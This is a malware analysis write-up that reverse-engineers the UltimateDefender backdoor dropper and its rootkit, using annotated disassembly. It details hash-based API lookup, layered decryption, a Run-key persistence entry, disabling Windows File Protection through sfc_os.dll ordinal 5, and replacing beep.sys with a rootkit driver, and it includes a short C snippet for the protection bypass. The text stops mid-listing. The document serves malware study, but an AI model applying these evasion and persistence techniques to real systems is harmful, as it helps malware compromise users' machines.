.:: Backdoor.Win32.UltimateDefender.gtz - Reversing::.

Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} gmail {DOT} com
Website: http://evilcry.netsons.org

FileName: install.exe
MD5: 684E43AB0514D403996F56B196E6995B
SHA1: 80E4BF6A320D8B24A7D1A39E2B6C6210D8E083AE
Packer: No Packers

.:: The Essay ::.

install.exe presents the typical structure of an **Medium Evoluted Malware**, with basical **Obfuscated-Dummy Code**, **some layer of Encryption** decoded at Runtime and **Custom Hash Functions** used as **Integrity Check.** We can also see an intersting technique that retrieves **API's Addresses OnDemand** through a series of hardcoded values that corresponds to some API, the correspondent API Address is computated at runtime and chosen in function of the Hardcoded Value.

In a second phase of the malware evolution a second similar way is used to build a static tabbed IAT. This technique is used to make Reverse Engineering longer and to hide the real used APIs from static analysis such as Disassemblers and IT Viewers, we will follow a **Live Approach** so in a few moments we will be able to detect suddenly the API calls ;)

install.exe is also the infection vector of a M**edium Level Rootkit**, we will Dissect both .exe (**install.exe** and **brastk.exe**) and the rootkit (**figaro.sys.**

Let's begin with preliminary checks!

From what we can see by a first inspection with CFF, the executable is not packed, presents a minimal IT that is necessary to call all other APIs and does not have any embedded resources, indeed executables are stored in an enciphered way into install.exe.

```
00401008   push    ebp ;EntryPoint
00401009   push    edi
0040100A   push    esi
0040100B   push    ebx
0040100C   call    near ptr loc_40101D+1 ;Call the next instruction
...
0040101D   start           endp ;sp-analysis failed
```

In this way, static analysis is deceived cause the call 40101D+1 “breaks” opcodes placed at 0040101D, this acts as basical SMC, indeed the real instructions are:

```
0040101E   PUSH B1866570;Hardcoded API Identifier
00401023   CALL install.00401104 ;Build ImportAddressTable
00401028   CALL EAX ;GetModuleHandleA
```

Let's see call 00401104:

```
0040110B   mov     edx, large fs:30h ;EDX Points to PEB
00401112   mov     edx, [edx+0Ch] ;PEB->ProcessModuleInfo
00401115   mov     edx, [edx+0Ch] ;ProcessModuleInfo->InLoadOrderModuleList
00401118   mov     edx, [edx]
0040111A   lea     edi, [ebp+var_19] ;EDI became a container
0040111D   mov     esi, [edx+30h] ;ESI Points to ntdll.dll
00401120   mov     ecx, 0Dh
00401125   adlodsw
```

```
00401127   stosb
00401128   or      ax, ax
0040112B   jz      short loc_40112F
0040112D   loop    loc_401125 ;copy "ntdll.dll" string into EDI
0040112F   mov     ecx, 0Dh
00401134   lea     esi, [ebp+var_19] ;BaseProcessImport
00401137   lea     edi, [ebp+var_19] ;"ntdll.dll"
...
00401148   push    0
0040114A   lea     eax, [ebp+var_19] ;EAX = "ntdll.dll"
0040114D   push    eax
0040114E   call    sub_4010AF
00401154   xor     eax, 6AE69F02h  ;xor Hardcoded DWORD
0040115A   jnz     short loc_401118 ;search until the computated dword is equal
to  6AE69F02h costant
```

Inside call sub_4010AF

```
004010AF    push    ebp
004010B0    mov     ebp, esp
004010B2    pusha
004010B3    nop
004010B4    xor     eax, eax
004010B6    nop
004010B7    mov     edx, [ebp+arg_0] ;EDX points to "ntdll.dll"
004010BA    mov     ecx, [ebp+arg_4] ;first time is NULL
004010BD    nop
004010BE    cmp     ecx, eax
004010C2    jnz     short loc_4010D0
004010C4    mov     edi, edx
004010C6    scasb
004010C7    jnz     short loc_4010C6 ;little loop, at the end of this, edi
points to the end of ntdll.dll string
004010C9    nop
004010CA    dec     edi
004010CB    mov     ecx, edi
004010CD    nop
004010CE    sub     ecx, edx ;ECX is lenght("ntdll.dll")-1 that corresponds to 9
004010D0    not     eax      ;first time became FFFFFFFFh
004010D4    xor     al, [edx] ;AL contains the xored character
004010D8    inc     edx       ;next char
004010DB    mov     bl, 8     ;ntdll.dll BaseAddress + 8
004010DE    shr     eax, 1    ;--------------------------
004010E1    jnb     short loc_4010EC
004010E6    xor     eax, 0EDB88320h
004010EB    nop
004010EC    dec     bl     ;BL acts as counter, this algo works with
004010EE    nop            ;8 iterations per char
004010EF    jnz     short loc_4010DE ;next iteration ------
004010F4    loop    loc_4010D4 ;jump to the next ntdll.dll character
004010F8    not     eax
004010FB    mov     [esp+1Ch], eax ;esp+1Ch contains the processed dword
004010FF    popa
00401100    leave
00401101    retn    8
```

As we can see this call implements a custom algorithm that hardcodes a string into a dword. When this call is completed we come back to the previous call, that by using a cycle, searches about a predeterminated DWORD (6AE69F02h), if we insert a breakpoint, immediately after the cycle, we can see that EAX contains the BaseAddress of "kernel32.dll"

```
00401192    lodsd
00401193    add     eax, ebx          ;Next API Entry
00401195    push    0
00401197    push    eax               ;Points to the current API Entry
00401198    call    sub_4010AF        ;HardcodeDword(EAX)
0040119D    cmp     [ebp+8h], eax     ;ebp+8 contains the dword corresponding to
                                       the searched API function
004011A0    jnz     short loc_401191
```

At the end of the computation, EAX is equal to GetModuleHandleA, indeed by exiting from call 00401104 we can see:

```
00401028   CALL EAX                  ;kernel32.GetModuleHandleA
0040102A   CALL install.00401046
...
00401046   NOP
00401049   PUSH C97C1FFF             ;/Arg1 = C97C1FFF
0040104F   CALL install.00401104     ;Retrieve API Address
00401054   CALL EAX                  ;GetProcAddress
00401056   OR EAX,EAX
00401058   JE SHORT install.00401062
00401062   CALL install.00401000     ;Not Important for pur scopes
00401067   MOV EBX,DWORD PTR SS:[ESP-4]      ;EBX = 00401067
0040106B   XOR BX,BX                         ;00400000
0040106E   MOV EAX,EBX
00401070   ADD EAX,DWORD PTR DS:[EAX+3C]
00401073   MOVZX EDX,WORD PTR DS:[EAX+14]    ;EAX = "PE"
00401077   LEA EDX,DWORD PTR DS:[EAX+EDX+18] ;".text"
0040107B   MOV EAX,DWORD PTR DS:[EDX+34]     ;EAX = 2000
0040107E   ADD EAX,EBX
00401080   ADD EAX,87E                       ;0040287E
00401085   MOV ECX,EBX                       ;install.00400000
00401087   INC ECX
00401088   PUSH EAX                          ;EAX = 0040287E
00401089   PUSH ECX                          ;ECX = 00400001
0040108A   PUSH 10066F2F                    ;/Arg1 = 10066F2F
0040108F   CALL install.00401104            ;Retrieve API Address
```

This piece of code is easy to understand, thanks to GetModuleHandle, malware identifies a piece of its PE structure, precisely the portion of bytes proper of the .text section and next calls the already seen BuildAPI_Address function:

```
00401094   PUSH ESP
00401095   PUSH ESP
00401096   PUSH 40
00401098   PUSH DWORD PTR DS:[EDX+30]
0040109B   PUSH DWORD PTR DS:[EDX+34]
0040109E   ADD DWORD PTR SS:[ESP],EBX
004010A1   MOV EDX,EAX
004010A3   CALL EDX            ;kernel32.VirtualProtect
...
004010AC   PUSH ECX            ;ECX = ;00400001
004010AD   CALL EDX            ;install.0040287E
```

VirtualProtect is going to make Writeable the portion of bytes that surely will be subject to a Decryption Operation (cause .text is not +Writeable)

Let's see call 0040287E..

(Code is cleared from all NOPs between the instructions)

```
0040287E   PUSHAD
0040287F   JMP SHORT install.004028D3
```

→ **Encrypted Code**

```
004028D3   CALL install.00402964
00402964   NOP
00402966   POP EDX
00402969   PUSH EBX
0040296C   MOV EBX,3A
00402973   LEA ESI,DWORD PTR DS:[EDX+EBX*4+C8] ;ESI = 00402A88 (first iteration)
0040297C   XOR EDI,EDI
00402981   XOR EDI,ESI
00402985   STD
00402987   LODS DWORD PTR DS:[ESI] ;EAX points to the dword pointed by ESI
00402989   INC EAX                 ;|
0040298B   SUB EAX,1               ;| Dummy code
0040298E   SUB EAX,ECX             ;install.00400001
00402990   ADD ECX,EAX             ;|
00402992   MOV EAX,ECX             ;|  Dummy code
00402994   ADD EAX,ADFEE003
0040299B   STOS DWORD PTR ES:[EDI]
0040299C   DEC EBX
0040299D   MOV EAX,ECX
004029A0   MOV EAX,EBX
004029A2   JNZ SHORT install.00402987 ;Iterates 3A times
```

This piece of code, decrypts code after 004029A2 location, so be careful and don't insert breakpoints after JNZ or code will be wrongly decoded, here the correcty decoded routine

```
004029A4   LEA ECX,DWORD PTR DS:[ESI+4] ;ECX = 004029A4 (actual position)
004029A8   CLD
004029AA   SUB EDI,EBX
004029AE   MOV EDI,ECX
004029B1   NOT EBX
004029B4   POP EBX
004029B6   INC ECX
004029B9   SUB EDI,40
004029C0   XOR ECX,ECX
004029C3   MOV ECX,23
004029CA   MOV EAX,B52C84E0
004029CF   STD
004029D2   SCAS DWORD PTR ES:[EDI]
004029D5   XOR DWORD PTR DS:[EDI],EAX
004029D9   PUSH 4
004029DC   ADD ESP,DWORD PTR SS:[ESP]
004029DF   CLD
004029E2   LOOPD SHORT install.004029CF ; 22 iterations (Dummpy Loop)
004029E4   MOV EBP,EDI
004029E6   MOV ECX,9B40
004029EE   LEA EDI,DWORD PTR DS:[ECX+EDI+15B]
004029F7   SHR ECX,3
004029FB   STD
004029FC   SUB EDI,8
00402A01   PUSH FD4B988D
00402A08   PUSH 47D0831A
00402A0F   PUSH 978AA76
00402A16   PUSH D1401BF9
00402A1D   PUSH ESP
00402A1F   PUSH 8
00402A24   PUSH EDI ;0040C56B
00402A27   CALL EBP ;004028D8
```

Inside call EBP:

```
004028D8   PUSH EBP                ;install.004028D8
004028D9   MOV EBP,ESP
004028DB   PUSHAD
004028DC   ADD EDI,ESI
004028DE   MOV EDI,DWORD PTR SS:[EBP+8]
004028E1   XOR EAX,EAX
004028E3   MOV ESI,DWORD PTR SS:[EBP+10]
004028E6   NOT ECX
004028E8   MOV ECX,DWORD PTR SS:[EBP+C]
004028F7   MOV EBX,DWORD PTR DS:[EDI]   ;EBX dword pointed by edi
004028F9   MOV ECX,DWORD PTR DS:[EDI+4] ;next dword
..
0040290B   MOV EBP,EBX
0040290D   SHL EBP,4
00402910   SUB ECX,EBP
00402912   MOV EBP,DWORD PTR DS:[ESI+8]
00402915   XOR EBP,EBX
00402917   SUB ECX,EBP
00402919   MOV EBP,EBX
0040291B   SHR EBP,5
0040291E   XOR EBP,EAX
00402920   SUB ECX,EBP
00402922   SUB ECX,DWORD PTR DS:[ESI+C]
00402925   MOV EBP,ECX
00402927   SHL EBP,4
0040292A   SUB EBX,EBP
0040292C   MOV EBP,DWORD PTR DS:[ESI]
0040292E   XOR EBP,ECX
00402930   SUB EBX,EBP
00402932   MOV EBP,ECX
00402934   SHR EBP,5
00402937   XOR EBP,EAX
00402939   SUB EBX,EBP
0040293B   SUB EBX,DWORD PTR DS:[ESI+4]
0040293E   SUB EAX,EDX
00402940   DEC EDI
00402941   JNZ SHORT install.0040290B ;1Ch Iterations
```

This routine decrypts another piece of code, after computing this execution jumps to the core decryption procedure, that starts here:

```
004029FC   SUB EDI,8
00402A27   CALL EBP    ;install.004028D8 (already seen decryption procedure)
00402A2B   ADD ESP,10
00402A30   DEC ECX     ;1365h iterations counter
00402A31   JNZ SHORT install.004029FC
```

at 00402A31 we place a Conditional Breakpoint that verifies the condition “ECX == 0”, when condition is verified we can see that suddenly after this jump the code changes and another big decryption loop is performed

```
00402A5B   XOR BYTE PTR DS:[EDI],AL
00402A5F   DEC BYTE PTR DS:[EDI]
00402A61   PUSH EAX
00402A62   ADD EAX,ECX
00402A64   NOT EAX
00402A66   MOV EAX,DWORD PTR SS:[ESP]
00402A69   POP EBX
00402A6A   ROL EAX,3
00402A6E   XCHG EDI,ESI
00402A70   MOV EDI,ESI
00402A73   SCAS BYTE PTR ES:[EDI]
00402A74   DEC ECX ;2716h iterations counter
00402A75   JNZ SHORT install.00402A5B
```

We insert also here a Conditional BP "ECX == 0"

```
00402A77   XCHG DWORD PTR SS:[ESP],EDI
00402A7A   ADD ESP,4
00402A7E   SUB EDX,1 ;391h Iterations
00402A83   JNZ SHORT install.00402A46
```

Code here is clear, we are in front of a nested loop, first loop repeated 2716h times for 391h times (exernal loop) for a total of 2716*391 iterations, simply we insert a Conditional BP "EDX == 0". After that the condition is verified code immediately after 00402A83 changes as follows

```
00402A85   POPAD
00402A86   CLD
00402A87   JMP install.00402CBD
```

execution jumps here

```
00402CBD   PUSH EBP
00402CBE   MOV EBP,ESP
00402CC0   ADD ESP,-0C
00402CC3   PUSHAD
00402CC4   MOV EAX,DWORD PTR SS:[EBP+8]
00402CC7   DEC EAX
00402CC8   AND EAX,FFFFF000
00402CCD   CMP WORD PTR DS:[EAX],5A4D  ;EAX == 00400000 is a PE ('MZ') ?
00402CD2   JNZ SHORT install.00402CC7
00402CD4   MOV DWORD PTR SS:[EBP+8],EAX
00402CD7   CALL install.00402CDC
...
00402AED   PUSH EBP
00402AF4   MOV EDX,DWORD PTR FS:[30]
00402AFB   MOV EDX,DWORD PTR DS:[EDX+C]
00402AFE   MOV EDX,DWORD PTR DS:[EDX+C]
00402B01   MOV EDX,DWORD PTR DS:[EDX]
...
00402B31   CMP DWORD PTR SS:[EBP-19],6E72656B
00402B38   JNZ SHORT install.00402B01
00402B3A   CMP DWORD PTR SS:[EBP-15],32336C65
00402B41   JNZ SHORT install.00402B01
00402B43   CMP DWORD PTR SS:[EBP-11],6C6C642E
```

this piece last piece of code locates kernel32.dll with the already seen procedure and with the final if checks if it's really kernel32.dll the module founded.

```
00402B78   INC EDX
00402B79   LODS DWORD PTR DS:[ESI] ;Next Exported Function in *.dll
00402B7A   ADD EAX,EBX
00402B7C   PUSH 0
00402B7E   PUSH EAX
00402B7F   CALL install.00402AB2   ;Hardcode(Function)
00402B84   CMP DWORD PTR SS:[EBP+8],EAX ;it's the wanted function?
00402B87   JNZ SHORT install.00402B78   ;if no repeat for the next API
...
00402B97   MOV EAX,DWORD PTR DS:[EAX]
00402B99   ADD EAX,EBX
00402B9B   MOV DWORD PTR SS:[ESP+1C],EAX    ;kernel32.VirtualAlloc
```

The first searched API is VirtualAlloc, this function is executed reached indirectly by using a RET instruction as trampoline:

```
00402BAF   LEAVE
00402BB0   XCHG DWORD PTR SS:[ESP],EAX
00402BB3   XCHG DWORD PTR SS:[ESP+4],EAX
00402BB7   RETN                        ;Corresponds to call VirtualAlloc
```

After allocating an Executable Portion of Memory

```
00402D06   MOV DWORD PTR SS:[EBP-4],EAX
00402D09   LEA ESI,DWORD PTR DS:[EBX+401820]
00402D0F   MOV EDI,DWORD PTR SS:[EBP-4]
00402D12   MOV ECX,DWORD PTR SS:[EBP-8]
00402D15   ADD EBX,EDI
00402D17   SUB EBX,ESI
00402D19   REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
00402D1B   LEA EAX,DWORD PTR DS:[EBX+401AB7]
00402D21   JMP EAX    ;Jump to the Allocated Memory
```

a block of code is copied into this location and with a jmp eax, execution flow jumps into the allocated piece of memory:

```
00840297   LEA ESI,DWORD PTR DS:[EBX+401DB1]
0084029D   PUSH DWORD PTR DS:[EBX+401832]
008402A3   PUSH ESI
008402A4   CALL 00840026
008402A9   CMP EAX,DWORD PTR DS:[EBX+401836]
008402AF   JNZ 00840585
```

→ **CALL 00840026**

```
00840026   PUSH EBP
00840027   MOV EBP,ESP
00840029   PUSHAD
0084002A   XOR EAX,EAX
0084002C   MOV EDX,DWORD PTR SS:[EBP+8] ;EDX == 00840591
0084002F   MOV ECX,DWORD PTR SS:[EBP+C] ;ECX == 9556h    (Block Length)
00840032   CMP ECX,EAX
00840034   JNZ SHORT 00840040          ;Block is Entirely processed?
00840040   NOT EAX
00840042   XOR AL,BYTE PTR DS:[EDX]
00840044   INC EDX
00840045   MOV BL,8
00840047   SHR EAX,1
00840049   JNB SHORT 00840050
0084004B   XOR EAX,EDB88320
00840050   DEC BL
00840052   JNZ SHORT 00840047
...
```

from the block computation is obtained a DWORD that could be seen as an hash value, indeed by exiting from CALL 00840026, we can see:

```
008402A9   CMP EAX,DWORD PTR DS:[EBX+401836] ;EAX = FEF7D747
008402AF   JNZ 00840585                      ;jump if values mismatch
008402B5   PUSH DWORD PTR DS:[EBX+40183A]
008402BB   PUSH 40
008402BD   PUSH 7FBC7431
008402C2   CALL 00840118
```

→ **CALL 00840118**

```
00840118   PUSH EBP
00840119   MOV EBP,ESP
0084011B   PUSH DWORD PTR SS:[EBP+8]
0084011E   CALL 00840061  ;Retrieves the address of the searched function
00840123   LEAVE
```

```
00840124   XCHG DWORD PTR SS:[ESP],EAX
00840127   XCHG DWORD PTR SS:[ESP+4],EAX
0084012B   RETN            ;GlobalAlloc
```

In other words CALL 00840118 is an indirect way to execute an API, in this first case is called GlobalAlloc. After GlobalAlloc

```
008402C7   MOV DWORD PTR SS:[EBP-C],EAX
008402CA   OR EAX,EAX
008402CC   JE 00840585
008402D2   MOV EDI,EAX
008402D4   PUSH ESI
008402D5   PUSH EDI
008402D6   CALL 0084012C
008402DB   CMP EAX,DWORD PTR DS:[EBX+40183A]
```

CALL 0084012C Assembles two new executable, one used for brastk.exe and another for figaro.sys and another Integrity Check is

Main Procedure:

```
008402E1   0F85 9E020000    JNZ 00840585
008402E7   50               PUSH EAX
008402E8   57               PUSH EDI
008402E9   CALL 00840026
008402EE   CMP EAX,DWORD PTR DS:[EBX+40183E]
008402F4   JNZ 00840585
008402FA   MOV ECX,DWORD PTR SS:[EBP-C]
008402FD   ADD ECX,DWORD PTR DS:[ECX+3C]
00840300   PUSH 0
00840302   PUSH ESP
00840303   PUSH 40
00840305   PUSH DWORD PTR DS:[ECX+50]
00840308   PUSH DWORD PTR SS:[EBP+8]
0084030B   PUSH 10066F2F
00840310   CALL 00840118    ;VirtualProtect
...
0084040E   PUSH B1866570
00840413   CALL 00840118    ;GetModuleHandleA("Advapi32.dll")
0084044B   PUSH EAX         ;install.00401C2A
0084044C   PUSH EDX
0084044D   PUSH C97C1FFF
00840452   CALL 00840118    ;RegCloseKey
```

In this way the application builds an IAT, other APIs imported are:

"Advapi32.dll"

RegQueryValueA, AdjustTokenPrivileges, LookupPrivilegeValue, OpenProcessToken, RegSetValueEx, RegOpenKeyExA-

"Kernel32.dll"
GetVersionExA, GetLastError, CreateMutexA, CloseHandle, WriteFile, lstrlenA, CreateFileA, lstrcatA, lstrcpyA, GetEnvironmentVariableA, ExitProcess, HeapFree, HeapAlloc, GetProcessHeap, GetCurrentProcess, GetProcAddress, LoadLibraryA, MultiByteToWideChar, CreateProcessA, MoveFileExA, CopyFileA, GetWindowsDirectoryA, Sleep, GetSystemDirectoryA.

"Shell32.dll"

ShellExecuteA.

After building the IAT, ends the work of the Allocated Memory Code, and execution comes back to the normal flow:

```
00401840  PUSH EBP
00401841  MOV EBP,ESP
00401843  SUB ESP,2D0
...
00401874  PUSH ECX                                ;pVersionInformation
00401875  CALL DWORD PTR DS:[401024]              ;GetVersionExA
0040187B  MOV DWORD PTR SS:[EBP-4],EAX
0040187E  CMP DWORD PTR SS:[EBP-4],0
00401882  JNZ SHORT install.0040189B
00401884  MOV DWORD PTR SS:[EBP-C0],94
0040188E  LEA EDX,DWORD PTR SS:[EBP-C0]
00401894  PUSH EDX                                ;pVersionInformation
00401895  CALL DWORD PTR DS:[401024]              ;GetVersionExA
0040189B  CALL install.00401780
```

→ **CALL 00401780**

```
00401780  PUSH EBP
00401781  MOV EBP,ESP
00401783  SUB ESP,408
...
004017A5  PUSH EDX
004017A6  PUSH install.00401140    ;"license"
004017AB  PUSH install.00401148    ;"Software\AntivirusPro2009"
004017B0  PUSH 80000002
004017B5  CALL install.00401710
```

→ **CALL 00401710**

```
00401717   PUSH EAX                      ;/pHandle
00401718   PUSH 1                        ;|Access = KEY_QUERY_VALUE
0040171A   PUSH 0                        ;|Reserved = 0
0040171C   MOV ECX,DWORD PTR SS:[EBP+C]
0040171F   PUSH ECX                      ;|"Software\AntivirusPro2009"
00401720   MOV EDX,DWORD PTR SS:[EBP+8]
00401723   PUSH EDX                      ;|hKey = HKEY_LOCAL_MACHINE
00401724   CALL DWORD PTR DS:[401018]    ;\RegOpenKeyExA
0040172A   TEST EAX,EAX
0040172C   JNZ SHORT install.0040176F   ;Jump out if key does not exist
```

After exiting from this call

```
004017D4  LEA EDX,DWORD PTR SS:[EBP-8]
004017D7  PUSH EDX
004017D8  PUSH install.00401164     ;"license"
004017DD  PUSH install.0040116C     ;"Software\XP_SecurityCenter"
004017E2  PUSH 80000002
004017E7  CALL install.00401710     ;RegistryOperations, as previously seen call
...
00401809  PUSH EDX
0040180A  PUSH install.00401188     ;"license"
0040180F  PUSH install.00401190     ;"Software\WinAntispyware2008"
00401814  PUSH 80000002
00401819  CALL install.00401710     ;RegistryOperations
```

→ **CALL 00401780** is finished and execution returns to the main flow

```
004018A0  CMP EAX,2
004018A3  JE SHORT install.004018AF ;Not Taken
004018A5  CALL install.004012B0     ;CreateMutex
004018AA  CMP EAX,1
004018AD  JNZ SHORT install.004018BC
```

→ **CALL 004012B0**

```
004012B0  PUSH EBP
004012B1  MOV EBP,ESP
004012B3  PUSH ECX
004012B4  PUSH install.00401098 ;MutexName "{232780427656663764673647663354632}"
004012B9  PUSH 1                ;InitialOwner = TRUE
004012BB  PUSH 0                ;pSecurity = NULL
004012BD  CALL DWORD PTR DS:[40102C]         ;CreateMutexA
004012C3  MOV DWORD PTR SS:[EBP-4],EAX
004012C6  CALL DWORD PTR DS:[401028]         ; ntdll.RtlGetLastWin32Error
004012CC  CMP EAX,0B7
004012D1  JNZ SHORT install.004012DA
004012D3  MOV EAX,1
004012D8  JMP SHORT install.004012DC
004012DA  XOR EAX,EAX
004012DC  MOV ESP,EBP
004012DE  POP EBP
004012DF  RETN
```

If Mutex creation fails malware Exits, else execution follows here

```
004018BC  CMP DWORD PTR SS:[EBP-BC],5
004018C3  JNZ SHORT install.004018CC
004018C5  MOV DWORD PTR SS:[EBP-24],1
004018CC  PUSH 104
004018D1  LEA EAX,DWORD PTR SS:[EBP-2D0]
004018D7  PUSH EAX
004018D8  CALL DWORD PTR DS:[401080]  ;GetSystemDirectoryA
004018DE  PUSH install.004011AC       ;StringToAdd = "\brastk.exe"
004018E3  LEA ECX,DWORD PTR SS:[EBP-2D0]
004018E9  PUSH ECX                    ;ConcatString = "C:\WINDOWS\System32"
004018EA  CALL DWORD PTR DS:[401040]  ;lstrcatA
```

Its builded the path **C:\WINDOWS\System32\brastk.exe**

```
004018F0  PUSH 4F
004018F2  PUSH install.00409000
004018F7  PUSH 2A00
004018FC  PUSH install.00409050
00401901  LEA EDX,DWORD PTR SS:[EBP-2D0]
00401907  PUSH EDX                ;"C:\WINDOWS\System32\brastk.exe"
00401908  CALL install.00401440
```

→ **CALL 00401440**

```
00401440  PUSH EBP
00401441  MOV EBP,ESP
00401443  SUB ESP,10
00401446  PUSH 0
00401448  PUSH 80
0040144D  PUSH 2
0040144F  PUSH 0
00401451  PUSH 2
00401453  PUSH C0000000    ;Access = GENERIC_READ|GENERIC_WRITE
00401458  MOV EAX,DWORD PTR SS:[EBP+8]
0040145B  PUSH EAX        ;FileName = "C:\WINDOWS\System32\brastk.exe"
```

```
0040145C  CALL DWORD PTR DS:[40103C]              ;CreateFileA
00401478  CALL DWORD PTR DS:[401058]              ;GetProcessHeap
0040147E  PUSH EAX
0040147F  CALL DWORD PTR DS:[401054]              ;ntdll.RtlAllocateHeap
00401485  MOV DWORD PTR SS:[EBP-10],EAX
00401488  CMP DWORD PTR SS:[EBP-10],0
0040148C  JNZ SHORT install.0040149F
0040148E  MOV EDX,DWORD PTR SS:[EBP-C]
00401491  PUSH EDX
00401492  CALL DWORD PTR DS:[401030]              ;CloseHandle
004014DD  PUSH 0                                  ;pOverlapped = NULL
004014DF  LEA ECX,DWORD PTR SS:[EBP-8]
004014E2  PUSH ECX                                ;pBytesWritten
004014E3  MOV EDX,DWORD PTR SS:[EBP+10]
004014E6  PUSH EDX                                ;nBytesToWrite
004014E7  MOV EAX,DWORD PTR SS:[EBP-10]
004014EA  PUSH EAX                                ;Buffer
004014EB  MOV ECX,DWORD PTR SS:[EBP-C]
004014EE  PUSH ECX                                ;hFile
004014EF  CALL DWORD PTR DS:[401034]              ;WriteFile
```

It's really clear what does this call, creates a file into /system32 called brastk.exe and next takes from Malware Process's Heap the previously generated brastk.exe code

```
00401916  PUSH EAX                  ;"C:\WINDOWS\System32\brastk.exe"
00401917  CALL DWORD PTR DS:[401038]  ;lstrlenA
..
00401925  PUSH 1
00401927  PUSH install.004011B8 ;"brastk"
0040192C  PUSH install.004011C0 ;"Software\Microsoft\Windows\CurrentVersion\Run"
00401931  PUSH 80000002
00401936  CALL install.004016A0
```

In this way brastk.exe is executed at every Windows startup.

```
00401976  PUSH 104
0040197B  LEA ECX,DWORD PTR SS:[EBP-2D0]
00401981  PUSH ECX
00401982  CALL DWORD PTR DS:[401080]     ;GetSystemDirectoryA
00401988  PUSH install.00401228          ;StringToAdd = "\dllcache\figaro.sys"
0040198D  LEA EDX,DWORD PTR SS:[EBP-2D0]
00401993  PUSH EDX
00401994  CALL DWORD PTR DS:[401040]     ;lstrcatA
```

Malware here assembles the path **C:\WINDOWS\System32\dllcache\figaro.sys**

```
0040199A  PUSH 4F                                 ;/Arg5 = 0000004F
0040199C  PUSH install.00409000                   ;|Arg4 = 00409000
004019A1  PUSH 7000                               ;|Arg3 = 00007000
004019A6  PUSH <&KERNEL32.BeginUpdateResourceW>   ;|Arg2 = 00402000
004019AB  LEA EAX,DWORD PTR SS:[EBP-2D0]
004019B1  PUSH EAX                                ;|Arg1 = 0012FCF0 ASCII
"C:\WINDOWS\System32\dllcache\figaro.sys"
004019B2  CALL install.00401440
```

and next as for brastk.exe is created a system driver called figaro.sys placed at C:\WINDOWS\System32\dllcache\figaro.sys, to see this file you need to enable the +h view of files causes the directory is hidden.

```
004019D4  PUSH install.00401240      ;StringToAdd = "\drivers\beep.sys"
004019D9  LEA EDX,DWORD PTR SS:[EBP-1C8]
004019DF  PUSH EDX
004019E0  CALL DWORD PTR DS:[401040] ;lstrcatA
```

assembles **C:\WINDOWS\System32\drivers\beep.sys** and next

```
004019EC  PUSH EAX    ;"C:\WINDOWS\drivers\beep.sys"
004019ED  CALL install.004015C0
```

→ **CALL 004015C0**

```
004015C0  PUSH EBP
004015C1  MOV EBP,ESP
004015C3  SUB ESP,214
...
004015EE  PUSH install.00401134           ;FileName = "sfc_os.dll"
004015F3  CALL DWORD PTR DS:[401064]      ;LoadLibraryA
00401604  PUSH 5                          ;ProcNameOrOrdinal = #5
00401606  MOV EAX,DWORD PTR SS:[EBP-8]
00401609  PUSH EAX
0040160A  CALL DWORD PTR DS:[401060]      ;GetProcAddress
00401621  PUSH -1                         ;FFFFFFFFh
00401623  PUSH DWORD PTR SS:[EBP-4]       ;"C:\WINDOWS\drivers\beep.sys
00401626  PUSH 0                          ;NULL
00401628  CALL DWORD PTR SS:[EBP-214]     ;sfc_os.#5 (NULL,string,-1)
```

Here we can see an original operation, malware loads sfc_os.dll that acts as ... and imports entry #5 that receives as parameters, the most intersting is the path of beep.sys "C:\WINDOWS\system32\drivers\beep.sys"

sfc_os.dll is a dll that contains functions used to monitor system files for validity. It belongs to the Microsoft Windows Environment.

sfc_os.#5 corresponds to **PfnSetFileException SetFileException** that is used to disable WPF (Windows File Protection)

```
typedef DWORD (WINAPI *PfnSetFileException)(DWORD dwUnknown0, PWCHAR pwszFile,
DWORD dwUnknown1);

HMODULE hMod=LoadLibrary(_T("sfc_os.dll"));

PfnSetFileException SetFileException=(PfnSetFileException)GetProcAddress(hMod,
(LPCSTR)5);
```

After performing this operation:

```
004019F5  PUSH 0        ;FailIfExists = FALSE
004019F7  LEA ECX,DWORD PTR SS:[EBP-1C8]
004019FD  PUSH ECX      ;NewFileName = "C:\WINDOWS\drivers\beep.sys"
004019FE  LEA EDX,DWORD PTR SS:[EBP-2D0]
00401A04  PUSH EDX  ;ExistingFileName =
"C:\WINDOWS\System32\dllcache\figaro.sys"
00401A05  CALL DWORD PTR DS:[401074]   ;CopyFileA
00401A1D  PUSH install.00401254        ;StringToAdd = "\dllcache\beep.sys"
00401A22  LEA ECX,DWORD PTR SS:[EBP-1C8]
00401A28  PUSH ECX
00401A29  CALL DWORD PTR DS:[401040]   ;lstrcatA
```

Assembles **C:\WINDOWS\System32\dllcache\beep.sys**

```
00401A35  PUSH EDX   ;"C:\WINDOWS\System32\dllcache\beep.sys"
00401A36  CALL install.004015C0
;sfc_os.#5("C:\WINDOWS\System32\dllcache\beep.sys")
```

```
00401A3E  PUSH 0                      ;FailIfExists = FALSE
00401A40  LEA EAX,DWORD PTR SS:[EBP-1C8]
00401A46  PUSH EAX       ;NewFileName = "C:\WINDOWS\System32\dllcache\beep.sys"
00401A4D  PUSH ECX       ;ExistingFileName =
"C:\WINDOWS\System32\dllcache\figaro.sys"
00401A4E  CALL DWORD PTR DS:[401074]   ;CopyFileA
00401A66  PUSH install.00401268        ;StringToAdd = "\drivers\beep.sys"
00401A6B  LEA EAX,DWORD PTR SS:[EBP-1C8]
00401A71  PUSH EAX                     ;ConcatString = "C:\WINDOWS\System32"
00401A72  CALL DWORD PTR DS:[401040]   ;lstrcatA
00401A7E  PUSH ECX            ;"C:\WINDOWS\System32\drivers\beep.sys"
00401A7F  CALL 004015C0 ;sfc_os.#5("C:\WINDOWS\System32\drivers\beep.sys")
00401A9D  PUSH 4              ;Flags = DELAY_UNTIL_REBOOT
00401A9F  LEA ECX,DWORD PTR SS:[EBP-1C8]
00401AA5  PUSH ECX            ;NewName= "C:\WINDOWS\System32\drivers\beep.sys"
00401AA6  LEA EDX,DWORD PTR SS:[EBP-2D0]
00401AAC  PUSH EDX      ;ExistingName= "C:\WINDOWS\System32\dllcache\figaro.sys"
00401AAD  CALL DWORD PTR DS:[401070] ;MoveFileExA
00401AB7  JNZ SHORT install.00401ABE
00401AB9  CALL install.00401540
00401ABE  CALL install.004012E0
00401AC3  XOR EAX,EAX
00401AC5  MOV ESP,EBP
00401AC7  POP EBP
00401AC8  RETN 10
```

In this way, beep.sys System Driver is infected with the content of figaro.sys, beep.sys is one of drivers loaded by default at every Windows start, so UltimateDefender Rootkit is automatically loaded by Windows.

→ **CALL 00401540**

```
00401549  PUSH EAX     ;phToken
